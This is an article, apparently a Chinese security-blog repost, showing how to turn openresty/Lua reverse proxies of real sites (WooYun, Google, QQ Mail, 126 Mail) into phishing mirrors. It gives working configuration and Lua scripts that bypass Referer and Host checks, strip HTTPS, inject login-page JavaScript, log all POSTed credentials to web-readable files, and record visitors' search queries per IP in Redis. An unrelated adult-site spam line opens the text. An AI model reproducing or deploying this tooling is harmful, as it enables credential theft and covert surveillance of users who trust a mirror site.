自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

openresty+lua在反向代理服務(wù)中的玩法

安全 應(yīng)用安全
幾天前學(xué)弟給我介紹他用nginx搭建的反代,代理了谷歌和維基百科。由此我想到了一些邪惡的東西:反代既然是所有流量走我的服務(wù)器,那我是不是能夠在中途做些手腳,達到一些有趣的目的。

0x01 起因

幾天前學(xué)弟給我介紹他用nginx搭建的反代,代理了谷歌和維基百科。

由此我想到了一些邪惡的東西:反代既然是所有流量走我的服務(wù)器,那我是不是能夠在中途做些手腳,達到一些有趣的目的。 openresty是一款結(jié)合了nginx和lua的全功能web服務(wù)器,我感覺其角色和tornado類似,既是一個中間件,也結(jié)合了一個后端解釋器。所以,我們可以在nginx上用lua開發(fā)很多“有趣”的東西。

所以,這篇文章也是由此而來。

0x02 openresty的搭建

openresty是國人的一個開源項目,主頁在http://openresty.org/ ,其核心nginx版本相對比較高(1.7.10),搭配的一些第三方模塊也很豐富。

首先在官網(wǎng)下載openresty源碼,然后我還需要一個openresty中沒有的第三方庫:https://github.com/yaoweibin/ngx_http_substitutions_filter_module ,同樣下載下來。

編譯:

 

  1. ./configure --with-http_sub_module --with-pcre-jit --with-ipv6 --add-module=/root/requirements/ngx_http_substitutions_filter_module  
  2. make && make install 

 

編譯選項中: —with-http_sub_module 附帶http_sub_module模塊,這是nginx自帶的一個模塊,用來替換返回的http數(shù)據(jù)包中內(nèi)容。 --with-pcre-jit —with-ipv6 提供ipv6支持 —add-module=/root/requirements/ngx_http_substitutions_filter_module(此處為你下載的ngx_http_substitutions_filter_module目錄) 將剛才下載的http_substitutions_filter_module模塊編譯進去。http_substitutions_filter_module模塊是http_sub_module的加強版,它可以用正則替換,并可以多處替換。

編譯安裝的過程沒有什么難點,很快就安裝好了,openresty和luajit都默認(rèn)在/usr/local/openresty目錄下。nginx的二進制文件為 /usr/local/openresty/nginx/sbin/nginx。

然后像正常啟動nginx一樣啟動之。

0x03 反代目標(biāo)網(wǎng)站

根據(jù)目標(biāo)網(wǎng)站的不同,反代也是有難度之分的。

比如烏云,我們可以很輕松地將其反代下來。因為烏云主站有一個特點:所有鏈接都是相對地址。所以我甚至不需要修改頁面中任何內(nèi)容即可完整反代。

一個簡單demo:http://wooyun.jjfly.party ,其配置文件如下:

 

enter image description here

 

其中,location / 塊即為反代烏云的配置塊。

proxy_pass 是將請求交給上游處理,而這里的上游就是http://wooyun.com

proxy_cookie_domain是將所有cookie中的domain替換掉成自己的domain,達到能夠登陸的效果。

proxy_buffering off用來關(guān)閉內(nèi)存緩沖區(qū)。

proxy_set_header是一個重要的配置項,利用這個項可以修改轉(zhuǎn)發(fā)時的HTTP頭。比如,烏云在登錄以后,修改資料的時候會驗證referer,如果referer來自wooyun.jjfly.party是會提示錯誤的。所以我在這里用proxy_set_header將referer設(shè)置為wooyun.org域下的地址,從而繞過檢查。

這樣,做好了一個***的“釣魚網(wǎng)站”:

 

enter image description here

 

我甚至可以正常登錄、修改信息:

 

enter image description here

 

但是并不是所有網(wǎng)站做反代都這樣簡單,比如google。谷歌是一個https的站點,所以通常也需要一個https的配置:

 

enter image description here

 

我申請了一個SSL證書,反代方法和烏云類似。但不同的是,谷歌會檢查host,如果host不是谷歌自己的域名就會強制302跳轉(zhuǎn)到www.google.com。

于是我在這里用proxy_set_header 將Host設(shè)置為www.google.com。

另外,谷歌與烏云***的不同是,其源碼中鏈接均為絕對路徑,所以一旦用戶點擊其中鏈接后又會跳轉(zhuǎn)回谷歌去。所以,我這里使用了subs_filter模塊將其中的字符竄“www.google.com”替換成“xdsec.mhz.pw”。

這是反代中經(jīng)常會遇到的情況。

那么,如果我并沒有條件購買SSL證書怎么辦?其實我們在nginx配置中也是可以將https降成http的。比如http://qq.jjfly.party就是代理的https://mail.qq.com:

 

enter image description here

 

另外,在xui.qq.jjfly.party(登陸框的frame)中,我利用 subs_filter " "; ,在html的標(biāo)簽前插入了一段javascript,通過這個方式,我可以簡單制作一個前端的數(shù)據(jù)截取。(XSS) 打開即會彈窗:

 

enter image description here

 

在反代過程中,我們會常常和gzip打交道。熟悉http協(xié)議的同學(xué)應(yīng)該知道,如果瀏覽器發(fā)送的數(shù)據(jù)包頭含有Accept-Encoding: gzip,即告訴服務(wù)器:“我可以接受gzip壓縮過的數(shù)據(jù)包”。這時后端就會將返回包壓縮后發(fā)送,并包含返回頭Content-Encoding: gzip,瀏覽器根據(jù)是否含有這個頭對返回數(shù)據(jù)包進行解壓顯示。

但gzip在反代中,會造成很大問題:subs_filter替換內(nèi)容時,如果內(nèi)容是壓縮過的,明顯就不能正常替換了。同時在日志里可以看到這樣的記錄:

http subs filter header ignored, this may be a compressed response. while reading response header from upstream

所以網(wǎng)上一般處理方式是,在向上層服務(wù)器轉(zhuǎn)發(fā)數(shù)據(jù)包的時候,設(shè)置proxy_set_header Accept-Encoding ””,這樣后端服務(wù)器就不會壓縮數(shù)據(jù)包了。

但有時候,做反代的時候會發(fā)現(xiàn)subs_filter的替換失效或部分失效了,我在做126.com反代的時候就遇到了這個問題。經(jīng)過一段時間的研究發(fā)現(xiàn),可能和緩存有關(guān)系,緩存中的數(shù)據(jù)包是gzip壓縮過的,所以就算發(fā)送Accept-Encoding=””也不管用。 如下是http://126.jjfly.party 配置:

 

enter image description here

 

我設(shè)置了很多阻止其緩存的方法,但實際上好像并沒有效果。

于是這里我想到借助lua,我想通過lua腳本在數(shù)據(jù)包返回的時候解壓縮gzip數(shù)據(jù),并代替subs_filter進行字符串的替換。#p#

0x04 借助lua進行g(shù)zip解壓與返回包修改

openresty在編譯安裝的時候就加入了lua支持,所以無需再對nginx進行改造。但lua下對gzip進行解壓,需要借助一個庫:lua-zlib(https://github.com/brimworks/lua-zlib) lua是一個和C語言結(jié)合緊密的腳本語言,實際上lua-zlib就是一個C語言編寫的庫,我們現(xiàn)在需要做的就是將其編譯成一個動態(tài)鏈接庫zlib.so,讓lua來引用。

  1. git clone https://github.com/brimworks/lua-zlib.git  
  2. cd lua-zlib  
  3. cmake -DLUA_INCLUDE_DIR=/usr/local/openresty/luajit/include/luajit-2.1 -DLUA_LIBRARIES=/usr/local/openresty/luajit/lib -DUSE_LUAJIT=ON -DUSE_LUA=OFF 
  4. make && make install 

以上代碼解釋一下。首先執(zhí)行cmake來生成編譯配置文件。LUA_INCLUDE_DIR指定luajit的include文件夾,LUA_LIBRARIES指定luajit的lib文件夾。USE_LUAJIT=ON和USE_LUA=OFF指定我們使用的是luajit而不是lua:

 

enter image description here

 

再執(zhí)行make && make install即可:

 

enter image description here

 

這時候已經(jīng)編譯好了zlib.so,拷貝到openresty的lib目錄下即可:

cp zlib.so /usr/local/openresty/lualib/zlib.so

然后回到nginx的配置文件中,“body_filter_by_lua_file /usr/local/openresty/luasrc/repl.lua; ”這句話告訴nginx我需要把返回包的body交給repl.lua處理。 repl.lua腳本:

  1. local zlib = require "zlib"  
  2. function decode(str)  
  3.     if unexpected_condition then error() end  
  4.     local stream = zlib.inflate()  
  5.     local ret = stream(str)  
  6.     return ret  
  7. end  
  8.    
  9. function callback()  
  10.     local str = ngx.arg[1]  
  11.     str = string.gsub(str, "https://", "http://")  
  12.     str = string.gsub(str, "mail.126.com", "126.jjfly.party")  
  13.     str = string.gsub(str, '"126.com"', '"126.jjfly.party"')  
  14.     str = string.gsub(str, "'126.com'", "'126.jjfly.party'")  
  15.     ngx.arg[1] = str  
  16. end  
  17.    
  18. function writefile(filename, info)  
  19.     local file = io.open(filename,"ab")  
  20.     file:write(info)  
  21.     file:close()  
  22. end  
  23.    
  24. function readfile(filename)  
  25.     local file = io.open(filename, "rb")  
  26.     local data = file:read("*all")  
  27.     file:close()  
  28.     return data  
  29. end  
  30.    
  31. local token = getClientIp()..ngx.var.uri  
  32. local tmpfile = ngx.shared.tmpfile  
  33. local value, flags = tmpfile:get(token)  
  34.    
  35. if not value then  
  36.     value = "/tmp/"..randstr(8)  
  37.     tmpfile:set(token, value)  
  38. end  
  39.    
  40. if ngx.arg[1] ~= '' then  
  41.     writefile(value, ngx.arg[1])  
  42. end  
  43. if ngx.arg[2] then  
  44.     local body = readfile(value)  
  45.     local status, debody = pcall(decode, body)  
  46.     if status then  
  47.         ngx.arg[1] = debody  
  48.     end  
  49.     os.remove(value)  
  50.     callback()  
  51.     return  
  52. else  
  53.     ngx.arg[1] = nil  
  54. end 

思路是個簡單粗暴的方式:ngx.arg1是原始的body,我將之交給pcall(lua下的異常處理方式),利用zlib.inflate進行解壓。如果不出異常說明解壓成功了,就將結(jié)果覆蓋ngx.arg1,拋出異常了說明body可能是沒壓縮的,就保持不變。 但實際操作中遇到幾個困難:

數(shù)據(jù)包并不是一次全部交給repl.lua,而是被分成許多chunks。所以我判斷了一下,當(dāng)數(shù)據(jù)包沒有接收完整的時候就先保存在一個臨時文件中,直到eof,我才將之解壓縮發(fā)送給客戶端。

多用戶情況下,我需要區(qū)分臨時文件屬于哪個用戶。所以我將臨時文件名保存在ngx.shared中,根據(jù)IP+uri判斷(實際上也并不***)。

lua生成的隨機數(shù)并不會自動播種,所以我需要根據(jù)系統(tǒng)時間來設(shè)置隨機數(shù)種子。

***,解壓完成后我直接調(diào)用callback()函數(shù)在其中對數(shù)據(jù)包進行替換,實際上就是完成之前subs_filter做的那些操作。 這樣配置完成后,重啟nginx,用瀏覽器訪問將會發(fā)現(xiàn)一個問題:

 

enter image description here

 

提示是:ERR_CONTENT_DECODING_FAILED,但我用burpsuite發(fā)包會發(fā)現(xiàn)似乎一切正常:

 

enter image description here

 

其實這個問題我之前都說了,還是和gzip有關(guān)。我們看到上圖,返回包中含有Content-Encoding: gzip,當(dāng)我們的瀏覽器查看到此頭后,會認(rèn)為數(shù)據(jù)包是gzip壓縮過的。

但實際上我們已經(jīng)在lua中將其解壓縮了,所以返回的數(shù)據(jù)其實是沒壓縮過的。最終導(dǎo)致瀏覽器解壓出錯,造成ERR_CONTENT_DECODING_FAILED。

怎么解決?

在nginx配置中將返回包頭中的Content-Encoding設(shè)置為空就好了:

 

enter image description here

 

header_filter_by_lua就是在修改返回頭的配置。后面可以直接編寫lua腳本,將ngx.header["Content-Encoding"]=""。 這時就可以正常訪問了:

 

enter image description here#p#

 

0x05 利用lua截取數(shù)據(jù)

那么,lua除了能夠解決上述的解壓縮問題以外,還有沒有什么新玩法?

這時候,理應(yīng)就想到就是數(shù)據(jù)包的截獲。釣魚網(wǎng)站的最終目的就是獲取用戶的信息,我在前面說到了可以通過在前端插入javascript腳本來截取用戶的輸入。

但實際上這并不是***的方案,***的方法就是在后端截取數(shù)據(jù)包。

于是我來使用lua完成這個任務(wù)。首先在nginx的server塊外面(主配置文件中)加入配置項:

 

  1. init_by_lua_file  /usr/local/openresty/luasrc/init.lua;
  2. access_by_lua_file /usr/local/openresty/luasrc/fish.lua; 

 

這兩項在ngx_lua_waf中也介紹過。init_by_lua_file是在nginx啟動的時候加載并執(zhí)行的lua腳本,access_by_lua_file是在一次HTTP請求開始前執(zhí)行的lua腳本。

init_by_lua_file一般是初始化一些全局使用的函數(shù),不多說了。說一下我寫的access_by_lua_file時調(diào)用的fish.lua:

  1. local method=ngx.req.get_method()  
  2. if in_array(ngx.var.host, valid_host) then  
  3. if method == "POST" then  
  4.     ngx.req.read_body()  
  5.     local data = ngx.req.get_body_data()  
  6.     writefile("/home/wwwroot/fish/"..ngx.var.host..".txt", data .. "\n")  
  7. end  
  8. end 

當(dāng)host在valid_host(釣魚站的host)中時,判斷如果請求是POST請求,就將數(shù)據(jù)包的body寫入/home/wwwroot/fish/ $ngx.var.host .txt 中。

這時,我訪問http://126.jjfly.party/admin/126.jjfly.party.txt 就可以看到實時釣魚的結(jié)果:

 

enter image description here

 

烏云也一樣:http://wooyun.jjfly.party/admin/wooyun.jjfly.party.txt

 

enter image description here

 

QQ郵箱那個因為環(huán)境太復(fù)雜(有至少三個host需要反代),所以我寧愿選擇在前端插入腳本進行劫持。

除了記錄用戶輸入的賬號密碼,根據(jù)反代網(wǎng)站的類型不同還能截取很多有趣的東西。

比如谷歌,我可以記錄訪客在谷歌中查詢的內(nèi)容:

 

enter image description here

 

腳本也很簡單:

  1. if ngx.var.host == "xdsec.mhz.pw" then  
  2.     local args = ngx.req.get_uri_args()  
  3.     if args["q"] then  
  4.         writefile("/home/wwwroot/fish/"..ngx.var.host..".txt",  "search: " .. args["q"] .. "\n")  
  5.     end  
  6. end 

可見,雖然你看到的流量是經(jīng)過一個擁有正規(guī)的證書的https站點的。但實際上我在寫lua腳本的時候根本不用在乎流量是否加密,因為openresty總會將一個明文的數(shù)據(jù)包交給我處理。

那么:Youtube,我們可以記錄訪客看過哪些視頻;wikipedia,我們可以記錄用戶搜索過哪些姿勢;1024,我們可以記錄哪些片子的點擊率***……(笑)

自從各大國外站點陸續(xù)從互聯(lián)網(wǎng)上消失以后,現(xiàn)在鏡像網(wǎng)站越來越多。但上面的案例也說明了,鏡像網(wǎng)站也并不一定都是正直的。#p#

0x06 結(jié)合緩存與redis提升反代效率

當(dāng)然openresty絕不僅僅是擁有這樣一些簡單的功能。openresty出現(xiàn)的定義就是一個“全功能的 Web 應(yīng)用服務(wù)器”,所以php可以有的功能它都可以辦到。 簡單來說我們可以直接在openresty上用lua編寫一個完整的動態(tài)網(wǎng)站。 之前我們的反代配置,有一些無法避免的缺點:

對gzip的支持不好,要不就是不使用壓縮,要不就是需要解壓,效率較低

沒有使用緩存,請求頻繁、并發(fā)量大的情況下nginx可能被上游服務(wù)器封掉。

后端沒有進行負(fù)債均衡。

如果僅僅是釣魚的話,效率低是問題不大的,因為訪問量不會太大。但如果你想做一個使用量大的谷歌鏡像之類的網(wǎng)站,就必須要考慮這個問題了。

如何緩解這個問題?

比如,我們可以利用谷歌全球的IP進行負(fù)載均衡:

  1. proxy_cache_path /tmp/google/  levels=1:2   keys_zone=g1:100m max_size=1g;  
  2. proxy_cache_key "$host$request_uri";  
  3.    
  4. upstream google{  
  5. server 216.58.220.132:443 max_fails=3 fail_timeout=10s;  
  6. server 131.203.2.49:443 max_fails=3 fail_timeout=10s;  
  7. server 216.58.209.165:443 max_fails=3 fail_timeout=10s;  
  8. server 209.85.229.53:443 max_fails=3 fail_timeout=10s;  
  9. server 173.194.122.22:443 max_fails=3 fail_timeout=10s;  
  10. server 216.58.209.101:443 max_fails=3 fail_timeout=10s;  
  11. server 173.194.126.65:443 max_fails=3 fail_timeout=10s;  

另外,利用proxy_cache進行緩存,可以減少很多反代服務(wù)器向上游服務(wù)器請求的次數(shù),防止被封。

當(dāng)然,除了使用文件緩存以外,openresty還可以使用一些效率更高的服務(wù),比如redis。

openresty自帶了一個redis客戶端lua-resty-redis:https://github.com/openresty/lua-resty-redis (openresty還有個RedisNginxModule模塊,這個是反代redis請求的,并不是redis客戶端) 不過,現(xiàn)今的openresty對于redis模塊(包括所有依賴于socket的模塊)的支持僅限于在rewrite_by_lua, access_by_lua, content_by_lua這三個context中,也就是說我們沒法將返回的數(shù)據(jù)包儲存于redis中,但我們可以將截取到的數(shù)據(jù)儲存于redis中。

還是以谷歌為例,我將查詢結(jié)果按照IP來存入redis:

  1. red = redis:new()  
  2. red:set_timeout(1000)  
  3. local ok, err = red:connect("127.0.0.1", 6379)  
  4. if not ok then  
  5.     ngx.log(ngx.WARN, "failed to connect: ", err)  
  6.     return  
  7. end  
  8. ok, err = red:select(2)  
  9. if not ok then  
  10.     ngx.log("failed to select: ", err)  
  11.     return  
  12. end  
  13.    
  14. local args = ngx.req.get_uri_args()  
  15. if args["q"] then  
  16.     local key = getClientIp()  
  17.     local data, err = red:sadd(key, args["q"])  
  18. end  

再將location /result 解析到如下lua腳本中,讀取redis顯示結(jié)果:

  1. local result = "" 
  2. local ips = red:keys("*")  
  3. for k1,ip in pairs(ips) do  
  4.     resultresult = result .. ip .. ":\n"  
  5.     local words = red:smembers(ip)  
  6.     for k2,word in pairs(words) do  
  7.         resultresult = result .. "\tSearch: " .. word .. "\n"  
  8.     end  
  9. end  
  10. ngx.header.content_type = 'text/plain';  
  11. ngx.say(result)  
  12. return 

***效果如圖所示:

 

enter image description here

 

0x07 總結(jié)與引用

通過這篇文章,我簡單地講了openresty一些有意思的玩法。

說白了,就是借助其能夠截取數(shù)據(jù)包的能力,來做很多只有hacker才想做的事情。除了文中說到的玩法(釣魚、用戶隱私探測),我還想到一些openresty可以做的大事:

蜜罐:利用lua自動截取數(shù)據(jù)包中的0day并進行分析。

流量分析與漏洞自動化挖掘:將目標(biāo)網(wǎng)站反代下來,正常瀏覽使用。lua在后端截取數(shù)據(jù)包并交給各種自動化分析工具分析。

高級服務(wù)的負(fù)載均衡:nginx 1.9后代理模塊被加入內(nèi)核,那時候我們甚至可以用openresty作為shadowsocks的前端服務(wù)器,作負(fù)載均衡。利用lua配置多用戶shadowsocks環(huán)境,讓shadowsocks多用戶不再局限于端口與密碼,而變成一個host+username+password認(rèn)證的形式。

當(dāng)然openresty的能力絕不僅僅是如此,還是最開始說的,openresty是一個全功能web服務(wù)器。

但作為一個hacker,我往往去先挖掘這里面最有意思的一些內(nèi)容,也就是我上面說的。

如果諸君有興趣深入研究,都可以和我一起探索。

本文參考資料:

https://github.com/openresty/lua-nginx-module

http://openresty.org/

https://github.com/openresty/lua-resty-redis

https://github.com/brimworks/lua-zlib

http://wrfly.kfd.me/Nginx%E6%90%AD%E5%BB%BA%E5%8F%8D%E5%90%91%E4%BB%A3%E7%90%86%E6%9C%8D%E5%8A%A1/ (學(xué)弟的博客)

http://nginx.org/en/docs/http/ngx_http_core_module.html

http://www.4byte.cn/question/463833/does-lua-optimize-the-operator.html

我推薦一些nginx/lua的相關(guān)資料與我關(guān)注的lua項目:

https://github.com/leafo/moonscript

https://github.com/leafo/lapis

https://github.com/loveshell/ngx_lua_waf

http://jb.wanpin123.com/lua/

責(zé)任編輯:藍雨淚 來源: 烏云知識庫
相關(guān)推薦

2019-09-18 10:39:08

負(fù)載均衡反向代理TCP

2018-04-17 12:10:40

2023-09-08 00:07:41

2010-03-30 18:26:07

Nginx Web服務(wù)

2022-07-01 07:33:24

nginx反向代理測試

2018-11-12 12:17:00

2009-02-28 14:23:02

2024-07-22 15:34:25

2010-03-30 14:35:58

Nginx反向代理

2023-12-05 09:14:54

2010-06-12 18:00:16

ARP協(xié)議

2019-04-08 08:39:47

Nginx代理服務(wù)器

2012-09-18 09:55:28

2021-08-04 07:26:07

IIS服務(wù)器反向代理

2019-08-26 10:31:12

正向代理反向代理安全

2018-11-05 09:34:43

2020-10-22 08:05:46

Nginx

2017-12-18 12:04:02

Nginx代理均衡

2019-06-19 15:34:39

Nginx反向代理負(fù)載均衡

2018-10-14 08:39:52

NginxTomcat服務(wù)器
點贊
收藏

51CTO技術(shù)棧公眾號